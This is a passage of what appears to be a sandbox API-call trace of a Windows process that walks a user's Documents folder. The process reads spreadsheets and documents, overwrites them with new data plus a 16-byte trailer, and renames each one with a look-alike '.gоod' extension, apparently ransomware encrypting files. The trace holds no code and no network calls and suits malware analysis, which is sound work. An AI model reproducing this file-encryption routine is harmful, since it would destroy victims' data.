lpOldMode=0x1f9edb80) returned 1 [0251.007] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\qdxhn0gyh5zjk5v9sff.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.007] GetFileType (hFile=0x768) returned 0x1 [0251.007] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0251.007] GetFileType (hFile=0x768) returned 0x1 [0251.007] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0251.007] ReadFile (in: hFile=0x768, lpBuffer=0x39cbeb8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x39cbeb8*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0251.007] CloseHandle (hObject=0x768) returned 1 [0251.008] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", lpFilePart=0x0) returned 0x36 [0251.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0251.008] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\qdxhn0gyh5zjk5v9sff.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.008] GetFileType (hFile=0x768) returned 0x1 [0251.008] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0251.008] GetFileType (hFile=0x768) returned 0x1 [0251.008] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x172dd [0251.008] WriteFile (in: hFile=0x768, lpBuffer=0x39cd140*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x39cd140*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0251.008] CloseHandle (hObject=0x768) returned 1 [0251.008] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", lpFilePart=0x0) returned 0x36 [0251.008] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0251.008] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\qdxhn0gyh5zjk5v9sff.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.008] GetFileType (hFile=0x768) returned 0x1 [0251.009] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0251.009] GetFileType (hFile=0x768) returned 0x1 [0251.009] ReadFile (in: hFile=0x768, lpBuffer=0x39cf3f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x39cf3f0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0251.035] CloseHandle (hObject=0x768) returned 1 [0251.035] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", lpFilePart=0x0) returned 0x36 [0251.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0251.035] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\qdxhn0gyh5zjk5v9sff.ods"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.035] GetFileType (hFile=0x768) returned 0x1 [0251.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0251.035] GetFileType (hFile=0x768) returned 0x1 [0251.035] WriteFile (in: hFile=0x768, lpBuffer=0x39ce158*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x39ce158*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0251.036] CloseHandle (hObject=0x768) returned 1 [0251.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods", lpFilePart=0x0) returned 0x36 [0251.036] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods.gоod", lpFilePart=0x0) returned 0x3b [0251.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0251.036] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\qdxhn0gyh5zjk5v9sff.ods"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedfe8240, ftCreationTime.dwHighDateTime=0x1d4ca6e, ftLastAccessTime.dwLowDateTime=0x7f2b9570, ftLastAccessTime.dwHighDateTime=0x1d4c5cc, ftLastWriteTime.dwLowDateTime=0x91d6d6f6, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x172ed)) returned 1 [0251.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0251.036] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\qdxhn0gyh5zjk5v9sff.ods"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\QdxHn0Gyh5zjK5v9SFf.ods.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\qdxhn0gyh5zjk5v9sff.ods.gоod")) returned 1 [0251.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", lpFilePart=0x0) returned 0x2e [0251.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc80) returned 1 [0251.037] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\wjzatr4bupv.xls"), fInfoLevelId=0x0, lpFileInformation=0x3a4b770 | out: lpFileInformation=0x3a4b770*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58654be0, ftCreationTime.dwHighDateTime=0x1d4c9ee, ftLastAccessTime.dwLowDateTime=0x791d3430, ftLastAccessTime.dwHighDateTime=0x1d4c75d, ftLastWriteTime.dwLowDateTime=0x791d3430, ftLastWriteTime.dwHighDateTime=0x1d4c75d, nFileSizeHigh=0x0, nFileSizeLow=0x2572)) returned 1 [0251.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc40) returned 1 [0251.037] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", lpFilePart=0x0) returned 0x2e [0251.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0251.037] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\wjzatr4bupv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.037] GetFileType (hFile=0x768) returned 0x1 [0251.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0251.037] GetFileType (hFile=0x768) returned 0x1 [0251.038] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x1000 [0251.038] ReadFile (in: hFile=0x768, lpBuffer=0x3a4bb28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edca8, lpOverlapped=0x0 | out: lpBuffer=0x3a4bb28*, lpNumberOfBytesRead=0x1f9edca8*=0x1000, lpOverlapped=0x0) returned 1 [0251.038] CloseHandle (hObject=0x768) returned 1 [0251.038] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", lpFilePart=0x0) returned 0x2e [0251.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0251.038] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\wjzatr4bupv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0251.038] GetFileType (hFile=0x768) returned 0x1 [0251.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0251.038] GetFileType (hFile=0x768) returned 0x1 [0251.038] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9edcd8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9edcd8*=0) returned 0x2572 [0251.038] WriteFile (in: hFile=0x768, lpBuffer=0x3a4cd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9edbc8, lpOverlapped=0x0 | out: lpBuffer=0x3a4cd90*, lpNumberOfBytesWritten=0x1f9edbc8*=0x10, lpOverlapped=0x0) returned 1 [0251.038] CloseHandle (hObject=0x768) returned 1 [0251.409] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", lpFilePart=0x0) returned 0x2e [0251.445] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0251.445] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\wjzatr4bupv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.445] GetFileType (hFile=0x808) returned 0x1 [0251.445] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0251.445] GetFileType (hFile=0x808) returned 0x1 [0251.445] ReadFile (in: hFile=0x808, lpBuffer=0x3a688c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9edc58, lpOverlapped=0x0 | out: lpBuffer=0x3a688c0*, lpNumberOfBytesRead=0x1f9edc58*=0x1000, lpOverlapped=0x0) returned 1 [0251.504] CloseHandle (hObject=0x808) returned 1 [0251.504] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", nBufferLength=0x105, lpBuffer=0x1f9ed660, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", lpFilePart=0x0) returned 0x2e [0251.504] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edb80) returned 1 [0251.504] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\wjzatr4bupv.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x808 [0251.504] GetFileType (hFile=0x808) returned 0x1 [0251.504] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edaf0) returned 1 [0251.504] GetFileType (hFile=0x808) returned 0x1 [0251.504] WriteFile (in: hFile=0x808, lpBuffer=0x3890788*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9edd08, lpOverlapped=0x0 | out: lpBuffer=0x3890788*, lpNumberOfBytesWritten=0x1f9edd08*=0x1010, lpOverlapped=0x0) returned 1 [0251.505] CloseHandle (hObject=0x808) returned 1 [0251.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls", lpFilePart=0x0) returned 0x2e [0251.505] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls.gоod", nBufferLength=0x105, lpBuffer=0x1f9ed7b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls.gоod", lpFilePart=0x0) returned 0x33 [0251.505] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9edc40) returned 1 [0251.505] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\wjzatr4bupv.xls"), fInfoLevelId=0x0, lpFileInformation=0x1f9edd20 | out: lpFileInformation=0x1f9edd20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58654be0, ftCreationTime.dwHighDateTime=0x1d4c9ee, ftLastAccessTime.dwLowDateTime=0x791d3430, ftLastAccessTime.dwHighDateTime=0x1d4c75d, ftLastWriteTime.dwLowDateTime=0x921e5cc3, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x2582)) returned 1 [0251.505] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9edc00) returned 1 [0251.505] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\wjzatr4bupv.xls"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\wjzAtR4buPv.xls.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\wjzatr4bupv.xls.gоod")) returned 1 [0251.506] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0251.506] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2", lpFilePart=0x0) returned 0x2a [0251.506] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd11a97d0, ftCreationTime.dwHighDateTime=0x1d4d24e, ftLastAccessTime.dwLowDateTime=0xf0f72dc0, ftLastAccessTime.dwHighDateTime=0x1d4cafb, ftLastWriteTime.dwLowDateTime=0xf0f72dc0, ftLastWriteTime.dwHighDateTime=0x1d4cafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ae60 [0251.506] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd11a97d0, ftCreationTime.dwHighDateTime=0x1d4d24e, ftLastAccessTime.dwLowDateTime=0xf0f72dc0, ftLastAccessTime.dwHighDateTime=0x1d4cafb, ftLastWriteTime.dwLowDateTime=0xf0f72dc0, ftLastWriteTime.dwHighDateTime=0x1d4cafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.507] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37bfe70, ftCreationTime.dwHighDateTime=0x1d4c67c, ftLastAccessTime.dwLowDateTime=0x77a1c730, ftLastAccessTime.dwHighDateTime=0x1d4cd91, ftLastWriteTime.dwLowDateTime=0x77a1c730, ftLastWriteTime.dwHighDateTime=0x1d4cd91, nFileSizeHigh=0x0, nFileSizeLow=0x8350, dwReserved0=0x0, dwReserved1=0x0, cFileName="U6yb4HC4w04AVfbrd.xlsx", cAlternateFileName="U6YB4H~1.XLS")) returned 1 [0251.507] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x996bbf70, ftCreationTime.dwHighDateTime=0x1d4d5fb, ftLastAccessTime.dwLowDateTime=0x235d3630, ftLastAccessTime.dwHighDateTime=0x1d4d351, ftLastWriteTime.dwLowDateTime=0x235d3630, ftLastWriteTime.dwHighDateTime=0x1d4d351, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiUY2mDwtmRU9k07NNV.csv", cAlternateFileName="UIUY2M~1.CSV")) returned 1 [0251.507] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf48b7710, ftCreationTime.dwHighDateTime=0x1d4cb06, ftLastAccessTime.dwLowDateTime=0x1fe9c150, ftLastAccessTime.dwHighDateTime=0x1d4c6cf, ftLastWriteTime.dwLowDateTime=0x1fe9c150, ftLastWriteTime.dwHighDateTime=0x1d4c6cf, nFileSizeHigh=0x0, nFileSizeLow=0xcdd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="z90mXtlTKUClzizAcKon.xls", cAlternateFileName="Z90MXT~1.XLS")) returned 1 [0251.507] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fec8480, ftCreationTime.dwHighDateTime=0x1d4cdf5, ftLastAccessTime.dwLowDateTime=0xf616b460, ftLastAccessTime.dwHighDateTime=0x1d4ca29, ftLastWriteTime.dwLowDateTime=0xf616b460, ftLastWriteTime.dwHighDateTime=0x1d4ca29, nFileSizeHigh=0x0, nFileSizeLow=0xc9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="zGzf.doc", cAlternateFileName="")) returned 1 [0251.507] FindNextFileW (in: hFindFile=0x134ae60, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0251.507] FindClose (in: hFindFile=0x134ae60 | out: hFindFile=0x134ae60) returned 1 [0251.507] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0251.508] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0251.508] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed4a0) returned 1 [0251.508] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2", nBufferLength=0x105, lpBuffer=0x1f9ecf40, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2", lpFilePart=0x0) returned 0x2a [0251.508] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\*", lpFindFileData=0x1f9ed1c0 | out: lpFindFileData=0x1f9ed1c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd11a97d0, ftCreationTime.dwHighDateTime=0x1d4d24e, ftLastAccessTime.dwLowDateTime=0xf0f72dc0, ftLastAccessTime.dwHighDateTime=0x1d4cafb, ftLastWriteTime.dwLowDateTime=0xf0f72dc0, ftLastWriteTime.dwHighDateTime=0x1d4cafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b3a0 [0251.508] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd11a97d0, ftCreationTime.dwHighDateTime=0x1d4d24e, ftLastAccessTime.dwLowDateTime=0xf0f72dc0, ftLastAccessTime.dwHighDateTime=0x1d4cafb, ftLastWriteTime.dwLowDateTime=0xf0f72dc0, ftLastWriteTime.dwHighDateTime=0x1d4cafb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0251.508] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37bfe70, ftCreationTime.dwHighDateTime=0x1d4c67c, ftLastAccessTime.dwLowDateTime=0x77a1c730, ftLastAccessTime.dwHighDateTime=0x1d4cd91, ftLastWriteTime.dwLowDateTime=0x77a1c730, ftLastWriteTime.dwHighDateTime=0x1d4cd91, nFileSizeHigh=0x0, nFileSizeLow=0x8350, dwReserved0=0x0, dwReserved1=0x0, cFileName="U6yb4HC4w04AVfbrd.xlsx", cAlternateFileName="U6YB4H~1.XLS")) returned 1 [0251.508] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x996bbf70, ftCreationTime.dwHighDateTime=0x1d4d5fb, ftLastAccessTime.dwLowDateTime=0x235d3630, ftLastAccessTime.dwHighDateTime=0x1d4d351, ftLastWriteTime.dwLowDateTime=0x235d3630, ftLastWriteTime.dwHighDateTime=0x1d4d351, nFileSizeHigh=0x0, nFileSizeLow=0x1088, dwReserved0=0x0, dwReserved1=0x0, cFileName="UiUY2mDwtmRU9k07NNV.csv", cAlternateFileName="UIUY2M~1.CSV")) returned 1 [0251.508] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf48b7710, ftCreationTime.dwHighDateTime=0x1d4cb06, ftLastAccessTime.dwLowDateTime=0x1fe9c150, ftLastAccessTime.dwHighDateTime=0x1d4c6cf, ftLastWriteTime.dwLowDateTime=0x1fe9c150, ftLastWriteTime.dwHighDateTime=0x1d4c6cf, nFileSizeHigh=0x0, nFileSizeLow=0xcdd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="z90mXtlTKUClzizAcKon.xls", cAlternateFileName="Z90MXT~1.XLS")) returned 1 [0251.509] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fec8480, ftCreationTime.dwHighDateTime=0x1d4cdf5, ftLastAccessTime.dwLowDateTime=0xf616b460, ftLastAccessTime.dwHighDateTime=0x1d4ca29, ftLastWriteTime.dwLowDateTime=0xf616b460, ftLastWriteTime.dwHighDateTime=0x1d4ca29, nFileSizeHigh=0x0, nFileSizeLow=0xc9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="zGzf.doc", cAlternateFileName="")) returned 1 [0251.509] FindNextFileW (in: hFindFile=0x134b3a0, lpFindFileData=0x1f9ed180 | out: lpFindFileData=0x1f9ed180*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6fec8480, ftCreationTime.dwHighDateTime=0x1d4cdf5, ftLastAccessTime.dwLowDateTime=0xf616b460, ftLastAccessTime.dwHighDateTime=0x1d4ca29, ftLastWriteTime.dwLowDateTime=0xf616b460, ftLastWriteTime.dwHighDateTime=0x1d4ca29, nFileSizeHigh=0x0, nFileSizeLow=0xc9dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="zGzf.doc", cAlternateFileName="")) returned 0 [0251.509] FindClose (in: hFindFile=0x134b3a0 | out: hFindFile=0x134b3a0) returned 1 [0251.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3e0) returned 1 [0251.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed3a0) returned 1 [0251.509] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", nBufferLength=0x105, lpBuffer=0x1f9ecd80, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx", lpFilePart=0x0) returned 0x41 [0251.509] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ed250) returned 1 [0251.509] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\_-nH\\0OFs--oaeV2\\U6yb4HC4w04AVfbrd.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\_-nh\\0ofs--oaev2\\u6yb4hc4w04avfbrd.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x38c28d0 | out: lpFileInformation=0x38c28d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37bfe70, ftCreationTime.dwHighDateTime=0x1d4c67c, ftLastAccessTime.dwLowDateTime=0x77a1c730, ftLastAccessTime.dwHighDateTime=0x1d4cd91, ftLastWriteTime.dwLowDateTime=0x77a1c730, ftLastWriteTime.dwHighDateTime=0x1d4cd91, nFileSizeHigh=0x0, nFileSizeLow=0x8350)) returned 1 [0251.509] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ed210) returned 